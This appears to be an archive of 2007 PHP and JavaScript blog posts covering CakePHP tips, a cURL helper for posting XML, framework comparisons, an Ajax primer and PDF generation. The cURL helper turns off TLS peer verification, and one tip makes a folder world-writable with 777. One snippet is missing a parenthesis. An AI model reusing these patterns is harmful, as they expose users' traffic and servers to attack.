If you need to create an administrative back-end for your CakePHP site and would like all the actions with administrative capabilities to exist under a specific folder, open up config/core.php and uncomment:
define('CAKE_ADMIN', 'admin');
This will then make all actions that are prefixed with "admin_" to be accessible via:
/admin/yourcontroller/youraction. For instance, if I created an action in my posts controller called "admin_add," I would access this via: www.example.com/admin/posts/add
From there I could simply password the admin folder to prohibit unwanted users from adding posts.

Viewing the SQL queries that are running behind the scenes

You can easily see the SQL queries that CakePHP is running by adjusting the DEBUG constant in config/core.php. 0 is production, 1 is development, 2 is full debug with SQL, and 3 is full debug with SQL and dump of the current object. I typically have debug set at 2, which renders a table at the bottom of the page that contains SQL debug information.
If rendering a table at the bottom of your site is constantly breaking your layout during development (especially if you're making AJAX calls and you're getting SQL inside your pages, not just the bottom), you can easily style this table to be hidden by adding this to your CSS:
.cakeSqlLog { display: none; }
This will allow you to view debug information in the HTML source code without your layout getting mangled, just don't forget to set debug back to 0 when your site goes live.

Multiple sources of documentation

Don't just rely on the manual. The wiki and the API are invaluable sources of information. The tutorials in the wiki are especially useful, and the API may be daunting at first, but you'll quickly find the information in there is crucial to building a site with CakePHP.

Using bake.php

Bake is a command line PHP script that will automagically generate a model, controller, and views based on the design of your database. I highly recommend using scaffolding to get a prototype going of a table that may change a lot in the beginning. If you're fairly certain the data is not subject to any drastic change, I recommend using bake instead. With bake all the files are generated and written to disk and you can make modifications from there. It saves a lot of time doing the repetitive tasks such as creating associations, views, and the basic CRUD controller operations.
Using bake is really easy. Once you have a table(s) in your database created, change directories to the /cake/scripts/ folder and run:
php bake.php
If you choose to bake interactively it'll walk you through the steps required to create your model, controller, and views. Once everything has been baked I usually go through all the generated code and make custom modifications as needed.

Mind permissions when moving cake around

When I changed from the development server to the live server I tarred up my entire cake directory and scp'd it to the new server. Immediately I started having an issue where any time the debug level was set to 0 (production mode), data would not be returned for certain database calls. This was a bit of a catch 22 since I needed to view debug information to troubleshoot the problem.
Someone in #cakephp kindly pointed out that permissions on the /app/tmp folder need to be writeable by apache. I changed the permissions to 777 and the issue went away.

Complex model validation

I needed to validate beyond just checking to make sure a field wasn't empty or it matched a regular expression. In particular, I needed a way to verify that the email address users registered with was unique. In the wiki I found this gem: this advanced validation tutorial, which covers some advanced methods of validation that were very useful.

Logging errors

$this->log('Something broke');
This will log your error to /tmp/logs/ (I initially made the mistake of thinking it would log it to the apache error log)

Creating a controller that uses other models

Suppose you have a controller that needs data from a bunch of different models, simply add this to the top of your controller:
class yourController extends AppController { var $uses = array('Post','User'); }
This controller would then have access to both the Post and the User model.

Creating a model for a table that doesn't actually exist in the database

I needed a way to create a model and controller without actually having an associated table in the database. I particularly wanted to make use of the $validate array so I could easily validate my fields and keep the validation logic in the model. CakePHP will throw an error if you create a model for a table that doesn't exist. Adding this to the model fixed the problem:
var $useTable = false;
You can use this to change tables names as well.
var $useTable = 'some_table';

Call exit() after redirecting

This should be no surprise to anyone who has done any serious web development in the past, but make sure you call exit() after running $this->redirect() if there's code afterward that you don't want to run. I've always done this in the past, but I made the assumption that $this->redirect() would make an exit call for me (which it didn't).

Advanced model functions

Unless you delve in to the API, there are some very useful model functions at your disposal you might not know exist. I highly recommend reading over the Model Class Reference at least once. Here's a few key functions I wasn't aware of that I found to be very useful:

generateList() - I use this function primarily to populate select boxes with data from associated tables
findBySql() - Sometimes you just need to write your own SQL
findCount() - Returns number of rows matching given SQL condition
hasAny() - Returns true if a record that meets the given conditions exists.

Again, I highly recommend reading over the entire model class reference, you'll be surprised at what you learn.

Inserting multiple rows in succession

I had a situation where I needed to iterate through a list of items and insert new rows for each. I quickly discovered that if you insert an item and then immediately insert another, the item that is inserted next doesn't insert at all. Instead the previously inserted row was being updated. For example:
$items = array('Item 1','Item 2','Item 3'); foreach ($items as $item) { $this->Post->save(array('Post' => array('title' => $item))); }
This code will result in a single entry in the posts table: "item 3." CakePHP inserted "item 1", but then updates it to become "item 2," then "item 3" because $this->Post->id gets the value of the last inserted ID. Normally this functionality is very useful, but in this particular instance it was not. I found was to setting $this->Post->id = false after each insert solved the problem.

Inserting logic before or after controller functions

Suppose you needed an array of colors to be available to every view rendered by your controller but you don't want to have to define this data in every action. Using the beforeRender() callback will allow you to do this:
function beforeRender() { $this->set('colors',array('red','blue','green'); }
This would make $colors accessible in every view rendered by that controller. beforeRender() is called after the controller logic and just before a view is rendered.
There's also beforeFilter() and afterFilter(), which are called before and after every controller action. For more information, read up on callbacks in the models section of the manual.

Adding a WYSIWYG editor to CakePHP

I found this great tutorial on getting TinyMCE set up with CakePHP. Basically you just link the tiny_mce .js file to your page and then add a small bit of init code to every page that you want textareas to be converted into TinyMCE editors.

Writing your own SQL for HABTM relationships

I had an issue with trying to create a HABTM (has-and-belongs-to-many) relationship where I needed to specify my own SQL statement. According to the docs (at the time of this writing) you should set finderSql in your model, but according to the cakePHP source you should set finderQuery instead. It's just a foul-up in the docs, but I figured it'd be worth noting to save others from having to figure it out for themselves. Trac ticket here: https://trac.cakephp.org/ticket/1217

Sending email

I found two tutorials in the wiki: Sending email and Sending email with PHPMailer
I highly recommend the latter of the two, sending emails with PHPMailer is more secure and there's less of a headache because you don't have to deal with constructing the mail headers yourself.

Customizing HTML generated by the Helper

I needed to change the default <option> generated when I called $html->selectTag() to say something like "Please Select" rather than an empty space (default). I also wanted radio buttons to have labels so the user doesn't have to click exactly on the radio button itself but can instead click anywhere on the text associated with it.
Create the file /app/config/tags.ini.php and add the following:
; Tag template for a input type='radio' tag. radio = "<input type="radio" name="data[%s][%s]" id="%s" %s /><label for="%3$s">%s</label>" ; Tag template for an empty select option tag. selectempty = "<option value="" %s>-- Please Select --</option>"
You can get a full list of available tags in /cake/config/tags.ini.php. I wouldn't recommend modifying that file, however, because you could lose your changes when you upgrade CakePHP.

Creating a custom 404 error page

If you need to change the page that users see when a document is not found, create:
/app/views/errors/error404.thtml

Sending XML files to a Webservice (Using cURL)

2007-07-08T23:56:00.000-07:00

Calling Web Services. Great fun!! … when it works. One of the biggest challenges is to send the XML document and get the response back, an XML document in particular. I have come up with a PHP function that hides all the necessary logic from theuser and handles the posting of the XML document and returns whatever the server responds. It relies on PHP’s cURL library (so you need it properly configured on your server in order to work). All you need to do is create the XML document, choose the URL (and port) to which you want to post the XML document and the function takes care of the rest. Below is the function code. As you can see, the function can handle SSL-enabled servers, something that provides a great advantage, since many Web services run on HTTPS.

// open a http channel, transmit data and return received buffer
function xml_post($post_xml, $url, $port)
{
$user_agent = $_SERVER[’HTTP_USER_AGENT’];
$ch = curl_init(); // initialize curl handle
curl_setopt($ch, CURLOPT_URL, $url); // set url to post to
curl_setopt($ch, CURLOPT_FAILONERROR, 1); // Fail on errors
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); // allow redirects
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); // return into a variable
curl_setopt($ch, CURLOPT_PORT, $port); //Set the port number
curl_setopt($ch, CURLOPT_TIMEOUT, 15); // times out after 15s
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_xml); // add POST fields
curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
if($port==443)
{
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
}
$data = curl_exec($ch);
curl_close($ch);
return $data;
}

The example below shows how the function works, by posting a XML document of the form
<?xml version=”1.0″ encoding=”iso-8859-1″?>

<Document>

<Message>

Your Name

</Message>

</Document>
to a “listener” script, which takes the XML document and returns a reply (another XML document). In this case, the listener is very simple. All it does is replace the “Message” tag with “Reply” and print the resulting XML. Of course, the listener can do all sorts of things in response to the POST.

<?php

   if ( !isset( $HTTP_RAW_POST_DATA ) )

   {

      $HTTP_RAW_POST_DATA = file_get_contents( ‘php://input’ );

   }

   $xml = str_replace(”Message”,”Reply” , $HTTP_RAW_POST_DATA);

   print((trim($xml)));

?>

You can download the function code, as well as a working example here. Let me know what you think.

Prototype Javascript Framework

2007-07-07T02:29:00.000-07:00

Prototype is a JavaScript Framework that aims to ease development of dynamic web applications.

Featuring a unique, easy-to-use toolkit for class-driven development and the nicest Ajax library around, Prototype is quickly becoming the codebase of choice for web application developers everywhere.

Welcome to the API documentation for Prototype. The left column contains the main sections. When you activate a section, its detailed contents then appears at the top of the column.

We are doing our best to provide you with current, clear, example-rich documentation. The goal here is that you should, when reading it, get the same warm, fuzzy feeling as we do when using Prototype :-)

The API documentation is a reference documentation. If you need to learn how to use Prototype, or to acquire skills in a particular feature area, have a look at the Learn section, which is accessible from the top of all pages (the “Tips and Tutorials” link), and is also linked from the orange bar in all reference pages. Documentation in the Learn section is more narrative and tutorial-style.

Enjoy the docs!
Documentation tools and bundles

* downloadable PDF version by Josh Clark
* downloadable CHM version by Kjell Bublitz
* API Search Bookmarklet: Drag this bookmark to your browser’s toolbar. Type in a method to view its documentation. For example, Event.observe. Search Prototype API
* Dashboard widget
* Firefox sidebar

Archives

For those of you using older versions of Prototype, you can download corresponding PDF versions of the docs below, courtesy of Josh Clark.

* Version 1.5.1
* Version 1.5.0

Source

Taking a look at ten different PHP frameworks

2007-06-23T02:41:00.001-07:00

Zend Framework

The Zend Framework is still pretty new, and very beta, so there's still a few things to come (like a user authentication module), but it does already have quite a lot. Although it doesn't have a lot of checks in the chart, the Zend Framework does include other modules, to handle PDF files, RSS feeds, Web Services (Amazon, Flickr, Yahoo), and more. The Zend Framework also includes several different database objects, making it extremely simple to query your database, without having to write any SQL yourself.

At the moment the Zend Framework doesn't come with a full-blown ORM, but the framework developers are still debating whether to add an ORM layer or not. This might be something we see in the future, and you can always write your own ORM implementation, and have it added to the framework, as it accepts user contributions.

The Zend Framework is looking quite promising, and is definitely working to fix the common PHP problems. The stable version will probably have a lot more checks in the comparison chart!

CakePHP

CakePHP is mostly an advanced MVC framework, with a few extra modules added on top. It can handle most of the database stuff for you, and it includes support for Ajax and data validation. It also has a unique user authentication module called 'Access Lists', which can be used to give different users access to different parts of your CakePHP website.

This framework seems quite thorough and ready for use, although the CakePHP website is extremely confusing. There doesn't seem to be a stable version yet, which is a bit surprising since it's been in development for months now, but I guess it's probably possible to use the beta version on a production website as well.

Symfony Project

As you can see from the chart the Symfony Project seems like a very extensive framework, and it even includes a full-blown ORM, called Propel, which is another open source project and probably one of the best ORM solutions for PHP. Symfony also includes Creole for the database abstraction layer and Mojavi for the Model-View-Controller model layer. Because it simply re-uses these other projects, instead of re-writing them, this framework probably has the most extensive functionality, and this is clearly shown in the chart.

The only two downsides to this framework is that fact that it can't be run on PHP4, but this is pretty logical considering it needs much of PHP5's new features, and that it's so complicated. Most of the tasks, like paging, are much more complicated in Symfony than in other frameworks, and simplicity definitely doesn't describe this framework.

Seagull Framework

The Seagull framework seems like a pretty good framework, and it comes with quite a lot of features. Another positive thing is that it runs on PHP4 as well, which is a really good thing in my book, as I still use PHP4 and most web hosts don't support PHP5 yet.

Unfortunately Seagull doesn't come with any Ajax support, which is a bit of a shame, but a simple Google search returns a tutorial on adding Ajax support yourself, and it's likely it will be added in the future.

WACT - Web Application Toolkit

WACT looks quite promising, and it has the basic things a framework needs, like MVC, database objects and a template engine, but that's about it. It doesn't have any extra modules, and it definitely lacks a few inbuilt things, like Ajax, caching, an authentication module and more.

WACT does have one of the best template engines though, and it even allows you to create your own template tags to add certain functionality.

Prado

Prado is a very unique framework, and it offers some really cool features. It doesn't come with inbuilt support for MVC (from what I can tell), but it does have all kinds of components to handle most of the usual PHP tasks, and what's even neater it that it makes event-driven scripts possible. For example, it's possible to set an onClick event on a HTML button that links to a PHP function. This closely resembles ASP.NET, and Prado contains more ASP.NET components, like a GridView and a Repeater Control.

By looking at the comparison chart it might seem that Prado is a bit weak compared to the others, but this isn't true. Because Prado is so unique, it doesn't score a lot of points on the chart, but in reality it is very powerful.

PHP on Trax

This framework seems to be a PHP port of Ruby and Rails, and used to be called PHP on Rails. Unfortunately documentation is quite sparse, so it's hard to determine what this framework offers, but its documentation does mention ActiveRecord, so it probably offers ActiveRecord, just like RoR. Another thing it includes is inbuilt support for Ajax, and the two demos that can be found on the website clearly show this.

PHP on Trax is on the right way, but it's still missing a few things, like an authentication module and a caching module. It doesn't have any extra modules either, so it's all a bit basic at the moment.

ZooP Framework

The ZooP Framework is really feature-packed, and as the chart clearly shows, it supports almost anything, except for an ORM layer. What's even more surprising is that it runs on PHP4, which is really exceptional considering all the functionality it offers.

Another thing ZooP offers is inbuilt GUI controls, making it very easy to create forms quickly. It supports most of the basic form elements, and that advantage of using GUI controls over regular HTML is that you can tightly integrate validation logic with the GUI controls.

eZ Components

ez Components isn't so much a framework, but more of a collection of components, and that's probably why it doesn't come with inbuilt support for MVC.

It comes with most of the usual components, like a database component and a caching component, but it's also lacking a few things. For instance, it doesn't have a ActiveRecord component or a authentication component. On the other hand, it does have a few other extra components, like an e-mail component, but there aren't many, and other frameworks (like the Zend Framework) offer more.

CodeIgniter

CodeIgniter is a relatively new framework, by the makers of ExpressionEngine, and it looks quite promising. Unfortunately, it doesn't handle multiple databases yet, although that is in the works.

It's inspired by Ruby on Rails, and it offers much of the same functionality, like scaffolding. It has excellent documentation, and they've even got video tutorials to get you going.

And the winner is...

I'm going to have to disappoint you here, as there isn't a winner. Each framework offers different functionality, and there is no clear winner. Just like most things, it comes down to preference and personal choice. I highly suggest you look through the documentation of each framework above, and decide yourself which framework you like best.

Personally, I really like the Zend Framework at the moment, but as I've been investigating each framework, I've seen many other interesting features, like Prado's events or Symfony's ORM implementation.

If you absolutely can't decide on what framework to use, you can always do what most people do: write your own. It may take more time, but it's a hell of a lot fun.

If you have any comments or questions, feel free to drop them in the comments below or join us at PHPit Forums. Also, if you find any incorrect information in the chart or this article, please let me know so I can correct it.

Taking a look at ten different PHP frameworks

2007-06-23T02:21:00.001-07:00

Introduction
PHP frameworks are the latest hot topic in the PHP community, and new frameworks are being released daily. With over 40 frameworks available it's difficult to decide which framework works best for you, especially as each framework offers different functionality.

In this article we will look at ten popular frameworks, and compare them to each other. First I will give you a general chart which gives you a quick overview of all the frameworks, and after that we'll go through each framework and discuss it in short.

A Quick Overview
Below you can view a chart of the ten frameworks, and what functionality each frameworks offers.

Framework PHP4 PHP5 MVC1 Multiple DB's2 ORM3 DB Objects4 Templates5 Caching6 Validation7 Ajax8 Auth Module9 Modules10

Zend Framework - - - - -
CakePHP - -
Symfony Project - - -
Seagull Framework -
WACT - - - - -
Prado - - - -
PHP on TRAX - - - - -
ZooP Framework -
eZ Components - - - - -
CodeIgniter - - -

#1: Indicates whether the framework comes with inbuilt support for a Model-View-Controller setup.
#2: Indicates whether the framework supports multiple databases without having to change anything.
#3: Indicates whether the framework supports an object-record mapper, usually an implementation of ActiveRecord.

#4: Indicates whether the framework includes other database objects, like a TableGateWay.
#5: Indicates whether the framework has an inbuilt template engine.
#6: Indicates whether the framework includes a caching object or some way other way of caching.
#7: Indicates whether the framework has an inbuilt validation or filtering component.
#8: Indicates whether the framework comes with inbuilt support for Ajax.
#9: Indicates whether the framework has an inbuilt module for handling user authentication.

#10: Indicates whether the framework has other modules, like an RSS feed parser, PDF module or anything else (useful).

Source

JQuery - Javascript Framework

2007-06-20T23:10:00.001-07:00

jQuery is an amazing JavaScript library that makes it easy to create wonderful web effects in just a few lines of code. As the website says:”

“jQuery is a JavaScript library that takes this motto to heart: Writing JavaScript code should be fun. jQuery achieves this goal by taking common, repetitive, tasks, stripping out all the unnecessary markup, and leaving them short, smart and understandable.”

Maybe you are thinking… “Why I would need another JavaScript library”? Just give a try and you will see how simple and powerful it is even if you have already used Moo.fx, Scriptaculous, TW-SACK or Prototype.

Why I should use jQuery?

Simple. In just one glance at the source code of a page using jQuery you’ll see how easy it is to use, how much it accomplishes in so few lines of code, and how graceful it is.

My mind was opened one day when I stumbled across some code written with jQuery. I was flipping through the RSS feeds and reading my daily dose of web design blogs when I came across an example of JavaScript loveliness that used jQuery. Truth be told, the code on that site had some browser related bugs… but the concept was something I hadn’t seen before.
What about the code?

The code looked almost simple. Like nothing I had seen before. It made sense.

I started reading through the documentation and was amazed to see how much could be done with so little extra code.

When you can use jQuery?

You should use jQuery when you need:

* A small library that gives you powerful control over the Document Object Model
* With very little effort or work on your part

Or

* Quick access to AJAX
* Without a lot of bloat (overhead - wasted code)
* And some basic animation effects to spice things up

But…

If you need super fancy effects for animation, drag and drop, and super smooth animation then you’ll probably want to use Prototype and one of the many great library created to enhance the effects.

Where to get it?

You can download the source code (15k), a lot of plugins and read some excellent tutorials at the jQuery website. jQuery was created by John Resig.

Whats Ajax?

2007-06-20T22:42:00.001-07:00

A Primer on the Ajax Phenomenon

With all the hype about "Ajax web applications", you could be forgiven for assuming Ajax is some radical new plugin, akin to Macromedia Flash. And you would therefore be under the impression that Ajax is out of bounds until you upgrade your "so last month" browser, or at least download the coveted "Ajax plugin".

Good news: You can run Ajax right now. At least, assuming you have a web browser from the past few years - IE, Firefox, Safari, or Opera. Have you seen Google Maps or perhaps GMail? They're both Ajax applications. So are Zuggest and the AjaxPatterns Wiki Demo .

What do they all have in common? All these applications take a great leap forth towards the richness of standard desktop applications. No longer are you forced to wait five seconds for the page to reload every time you click on something. Ajax applications change in real time. They can let you drag boxes around, they can refresh themselves with new information, they can completely re-arrange the page without clearing it. And there's no special plugin required. Ajax is just a style of design, one that milks all the features of modern browsers to produce something that feels less web and more desktop.

Applications can act more like and be developed more like the days of Visual Basic, Delphi, PowerBuilder, C++ with GUI frameworks, etc. Thus, it is 90's GUI features but with a web browser: it strives to meld the best of web and the best of desktop GUI's. Web browser standards were originally designed for e-brochures only. Business forms and other needs were hacked into this e-brochure framework over time and it is clear that this after-thought retrofitting for different purposes has been ugly. Ajax attempts to remedy this.

Some of the characteristics of Ajax applications include:

* Continuous Feel: Traditional web applications force you to submit a form, wait a few seconds, watch the page redraw, and then add some more info. Forgot to enter the area code in a phone number? Start all over again. Sometimes, you feel like you're in the middle of a traffic jam: go 20 metres, stop a minute, go 20 metres, stop a minute ... How many E-Commerce sales have been lost because the user encountered one too many error message and gave up the battle? Ajax offers a smooth ride all the way. There's no page reloads here - you're just doing stuff and the browser is responding. The server is only telling the screen what changed rather than having it redraw the whole screen from scratch.

* Real-Time Updates: As part of the continous feel, Ajax applications can update the page in real-time. Currently, news services on the web redraw the entire page at intervals, e.g. once every 15 minutes. In contrast, it's feasible for a browser running an Ajax application to poll the server every few seconds, so it's capable of updating any information directly on the parts of the page that need changing. The rest of the page is unaffected.

* Graphical Interaction: Flashy backdrops are abundant on the web, but the basic mode of interaction has nevertheless mimicked the 1970s-style form-based data entry systems. Ajax represents a transition into the world of GUI controls visible on present-day desktops. Thus, you will encounter animations such as fading text to tell you something's just been saved, you will be able to drag items around, you will see some static text suddenly turn into an edit field as you hover over it.

* Language Neutrality - Ajax strives to be equally usable with all the popular languages rather than be tied to one language. Past GUI attempts such as VB, Tk, and Swing tended to be married to one specific programming language. Ajax has learned from the past and rejects this notion. To help facilitate this, XML is often used as a declarative interface language.

To prevent any confusion, these things are not characteristic of Ajax:

* Non-Proprietary: "Ajax" is perhaps one of the most common brand names in history, but in context of web design, "Ajax" is neither the name of a company nor a product. It's not even the name of a standard or committee. It's a label for a design approach involving several related technologies.

* Plugin-Based: Ajax applications do not require users to install browser plugins, or desktop software for that matter.

* Browser Specific: As long as the user is working with a relatively recent, mainstream, browser (say 2001+), the application should work roughly the same way. Browser-specific applications somewhat defeat the purpose of Ajax.

Amezing Machine

2007-06-18T23:43:00.001-07:00

Square Peg, Round Hole In PDF With PHP

2007-06-17T22:49:00.000-07:00

Lines aren't the only thing you can draw - circles and rectangles also figure prominently on the menu. Take a look at the following example, which demonstrates.

php // create handle for new PDF document $pdf = pdf_new(); // open a file pdf_open_file($pdf, "shapes.pdf"); // start a new page (A4) pdf_begin_page($pdf, 595, 842); // set a fill colour pdf_setcolor($pdf, "fill", "rgb", 1, 1, 0); // set a stroke colour pdf_setcolor($pdf, "stroke", "rgb", 0, 0, 0); // draw a rectangle pdf_rect($pdf, 50, 500, 200, 300); pdf_fill_stroke($pdf); // set a fill colour pdf_setcolor($pdf, "fill", "rgb", 0, 1, 0); // set a stroke colour pdf_setcolor($pdf, "stroke", "rgb", 0, 0, 1); // draw a circle pdf_circle($pdf, 400, 600, 100); pdf_fill_stroke($pdf); // end page pdf_end_page($pdf); // close and save file pdf_close($pdf); ?>

Here's the output:

1225_4 (click to view image)

In this case, the pdf_rect() function has been used to draw a rectangle, given the coordinates of the lower left corner and the height and width. This rectangle has then been filled and outlined in two different colours, via the pdf_fill_stroke() function.

pdf_setcolor($pdf, "fill", "rgb", 1, 1, 0); pdf_setcolor($pdf, "stroke", "rgb", 0, 0, 0); pdf_rect($pdf, 50, 500, 200, 300); pdf_fill_stroke($pdf);

Circles are handled by the pdf_circle() function, which accepts three
arguments: the X and Y coordinates of the circle center, and the length of the circle radius.

pdf_circle($pdf, 400, 600, 100);

This ability to draw geometric shapes on the fly can come in handy in a number of different situations. Consider the following one, in which a couple of "for" loops have been combined with the pdf_lineto() function to generate a PDF line grid.

// create handle for new PDF document $pdf = pdf_new(); // open a file pdf_open_file($pdf, "grid.pdf"); // start a new page (A4) pdf_begin_page($pdf, 595, 842); // set a stroke colour pdf_setcolor($pdf, "stroke", "rgb", 0, 0, 0); // draw vertical lines (move along X axis) for ($x=0; $x<=595; $x+=20) { pdf_moveto($pdf, $x, 0); pdf_lineto($pdf, $x, 842); pdf_stroke($pdf); } // draw horizontal lines (move along Y axis) for ($y=0; $y<=842; $y+=20) { pdf_moveto($pdf, 0, $y); pdf_lineto($pdf, 595, $y); pdf_stroke($pdf); } // end page pdf_end_page($pdf); // close and save file pdf_close($pdf); ?>

Here's the output:

1225_5 (click to view image)

Heaven Is A Place On Earth

You can set document information with the pdf_set_info_*() family of functions; this information identifies the document creator, title and content. The following example demonstrates:

// create handle for new PDF document $pdf = pdf_new(); // open a file pdf_open_file($pdf, "philosophy.pdf"); // start a new page (A4) pdf_begin_page($pdf, 595, 842); // set document information pdf_set_info_author($pdf, "William Shakespeare"); pdf_set_info_creator($pdf, "William Shakespeare"); pdf_set_info_title($pdf, "Hamlet"); pdf_set_info_subject($pdf, "Act I Scene 5"); pdf_set_info_keywords($pdf, "Horatio Hamlet philosophy"); // get and use a font object $arial = pdf_findfont($pdf, "Arial", "host", 1); pdf_setfont($pdf, $arial, 10); // print text pdf_show_xy($pdf, "There are more things in heaven and earth, Horatio,", 50, 750); pdf_show_xy($pdf, "than are dreamt of in your philosophy", 50, 730); // end page pdf_end_page($pdf); // close and save file pdf_close($pdf); ?>

And now, when you view the dynamically-generated PDF file in Acrobat Reader, you'll see this information in the Document Properties window.

1225_6 (click to view image)

Generate PDFs with PHP

2007-06-17T22:47:00.000-07:00

Pretty As A Picture

Now, that was a very simple example - but PHP's PDF extension allows you to do a lot more than just write text to a page. Since a picture is worth a thousand words, consider this next example, which demonstrates the process of adding an image to your newly-minted PDF document.

// create handle for new PDF document $pdf = pdf_new(); // open a file pdf_open_file($pdf, "philosophy.pdf"); // start a new page (A4) pdf_begin_page($pdf, 595, 842); // get and use a font object $arial = pdf_findfont($pdf, "Arial", "host", 1); pdf_setfont($pdf, $arial, 10); // print text pdf_show_xy($pdf, "There are more things in heaven and earth, Horatio,", 50, 750); pdf_show_xy($pdf, "than are dreamt of in your philosophy", 50, 730); // add an image under the text $image = pdf_open_image_file($pdf, "jpeg", "shakespeare.jpg"); pdf_place_image($pdf, $image, 50, 650, 0.25); // end page pdf_end_page($pdf); // close and save file pdf_close($pdf); ?>

Here's the PDF output:

1225_2 (click to view image)

Most of the magic here happens via the pdf_open_image_file() and
pdf_place_image() functions. The first one accepts an image type - GIF, JPEG, TIFF or PNG - and file name as arguments, and returns an image handle, which may then be re-used multiple times in the document.

The image handle returned in the previous step can be used by the pdf_place_image() function, which actually takes care of positioning the image at a particular point on the page. The coordinates provided to this function (the second and third arguments) refer to the position of the lower left corner of the image, while the fourth argument specifies the scaling factor to use when displaying the image (a scaling factor of 1 will show the image at actual size, while a factor of 0.5 will reduce the image to half its size).

The Shortest Distance Between Two Points

Why stop there? PHP's PDF extension comes with a whole bag of functions designed to let you draw lines, circles and other shapes in your PDF document. Consider the following example, which demonstrates the process of drawing a line.

// create handle for new PDF document $pdf = pdf_new(); // open a file pdf_open_file($pdf, "letterhead.pdf"); // start a new page (A4) pdf_begin_page($pdf, 595, 842); // get and use a font object $arial = pdf_findfont($pdf, "Arial", "host", 1); pdf_setfont($pdf, $arial, 12); // set a colour for the line pdf_setcolor($pdf, "stroke", "rgb", 0, 0, 0); // place a logo in the top left corner $image = pdf_open_image_file($pdf, "jpeg", "logo.jpg"); pdf_place_image($pdf, $image, 50, 785, 0.5); // draw a line under the logo pdf_moveto($pdf, 20, 780); pdf_lineto($pdf, 575, 780); pdf_stroke($pdf); // draw another line near the bottom of the page pdf_moveto($pdf, 20, 50); pdf_lineto($pdf, 575, 50); pdf_stroke($pdf); // and write some text under it pdf_show_xy($pdf, "Confidential and proprietary", 200, 35); // end page pdf_end_page($pdf); // close and save file pdf_close($pdf); ?>

Here's what you should see in the PDF document:

1225_3 (click to view image)

In this case, the process of drawing a line involves creative use of the pdf_moveto(), pdf_lineto() and pdf_stroke() functions.

In the example above, I'd like to draw a line from the position (20,780) to the new position (575, 780). In order to do this, I first need to place the cursor at the starting point (20,780), via a call to pdf_moveto().

pdf_moveto($pdf, 20, 780);

Next, I need to set the end point of the line, via pdf_lineto():

pdf_lineto($pdf, 575, 780);

Finally, the line is actually rendered using pdf_stroke().

pdf_stroke($pdf);

The stroke colour is set via a call to pdf_setcolor(), which accepts a number of parameters: the PDF document handle, whether the colour being set is for "stroke", "fill" or "both", the colour scheme to use (RGB or CMYK), and a list of colour values appropriate to the selected colour scheme.

pdf_setcolor($pdf, "stroke", "rgb", 0, 0, 0);

It's important to note that the list of colour values provided to
pdf_setcolor() must be specified in terms of percentage intensity - that is, the intensity of that colour, expressed as a percentage of the maximum intensity possible. So, if I wanted to set red (RGB: 255,0,0) as the stroke colour, my call to pdf_setcolor() would look like this:

pdf_setcolor($pdf, "stroke", "rgb", 1, 0, 0);

while a fill colour of yellow (RGB: 255,255,0) would be:

pdf_setcolor($pdf, "fill", "rgb", 1, 1, 0);

What's new in PHP V5.2, Part 5: Tracking file upload progress

2007-06-16T06:02:00.000-07:00

PHP V5.2 added hooks for developers to take advantage of tracking file upload progress in real time. This article, Part 5 of a five-part "What's new in PHP V5.2" series, shows how to monitor file uploads and write code accordingly, with the creation of a PHP progress bar.

Web 2.0 is the hottest buzzword on the Internet, with investors lining up to put money into any bucket labeled by it. There are many descriptive terms for the millions of Web sites and applications they house. With Web 2.0, we describe a category of Web sites that provide a voice to the millions of users of the Internet. Distinctive in that they all provide a venue for users to meet and share opinions and data relating to common interests, these sites generate enormous amounts of content rapidly.

Each of the users provides some kind of content -- reviews of coffee shops, routes to work, etc. YouTube is a great example of this, providing a place for people to upload videos and have other users watch them and provide feedback. YouTube is the current darling of the Web 2.0 observers, noting that YouTube's popularity grew faster than any site on the Internet to date. This popularity can be attributed to a great deal of varied content, along with the ability for users to lend their voices to the content in the form of comments. And not just comments -- users can even upload video comments in response to video.

Text fields, ahoy

Many Web sites that accept files sport the dreaded Browse button next to a text field urging users to upload each file one at a time. This can take a long time, especially in the case of video, or even photos or other items that come in a groups of smaller files. Since each file requires its own upload, it can be quite a chore. Given that uploading huge files can be tedious for impatient users, it is important to provide them positive feedback to keep them from giving up and going away.

Fortunately, PHP V5.2's new hooks into the file upload process allow us to show users in real time what is happening with their uploads. In this article, we will create a progress bar using PHP V5.2 for our users (see Download for source code).

Hook, line, and sinker

The new "hooks" in PHP V5.2 are actually data points that are available during the file transfer process if you have the right libraries installed and configured. They use a feature called the Alternative PHP Cache. When a PHP script receives an uploaded file, the interpreter will automatically check the $_POST array for a hidden field named APC_UPLOAD_PROGRESS, which becomes a cached variable, storing information about the upload so your scripts can access it. With this information cached and at your fingertips, you can give your users visual feedback to improve their user experience.

We will cover the implementation of the APC code in your HTML form, as well as identifying it in your PHP and how to access the cached information. There are many ways to represent this data — from Ajax to FLEX — but what we will focus on is how to prepare access to the data these front-end technologies will need.

Setting up

APC is not enabled by default in PHP V5.2. Since the new hooks are a part of APC, we need to make sure to install the extension and make it available to the PHP interpreter. This is accomplished by downloading the php_apc extension files. In our case, we are using an installation of WAMP, a freely available packaged PHP for Windows®, which includes Apache and MySQL. It offers a nice user interface and is easy to manage with menus that support configuration options.

To set up APC on WAMP:

See Resources to download the libraries and WAMP.
Install WAMP.
Put the php_apc.dll file in the extensions folder for PHP. This is /php/ext by default.
Use the system tray WAMP menu to select PHP settings>PHP Extensions>Add Extension.
In the command-line interface that pops up, type php_apc.dll and press Enter.
Using a text editor, open /php/php.ini and add the line apc.rfc1867 = on (it doesn't matter where). If you're trying to test locally and plan to upload large files so you can actually see progress, you'll also want to add the following directives: apc.max_file_size = 200M, upload_max_filesize = 200M, and post_max_size = 200M. Don't do this on a live production server, though, or you're likely to use up bandwidth and disk space allotments, not to mention slowing everyone else down to a crawl.
Restart PHP.

APC should now be set up and initialized. The RFC1867 features of APC — the features that enable you to track file uploads — should now be enabled as an option, and you should be ready to look into our file uploads to enable real-time status.

PHP Developers

2. Visual Browser History

3. Super Clean Contextual Menus

4. Search Your Favorite Websites from the Address Bar

5. See Memory Used by Different Browsers

6. Reopen Website tabs that you closed by mistake

7. Launch Websites from the Start Menu / Quick Launch Bar

Tooltip And Image Preview Using JQuery

Features and Principle

Example 1: The Simplest jQuery Tooltip Ever

Example 2: Image Preview Gallery

Example 3: Links With URL Preview

Regular Expression Tutorial, Learn How to Use and Get The Most out of Regular Expressions

What Regular Expressions Are Exactly - Terminology

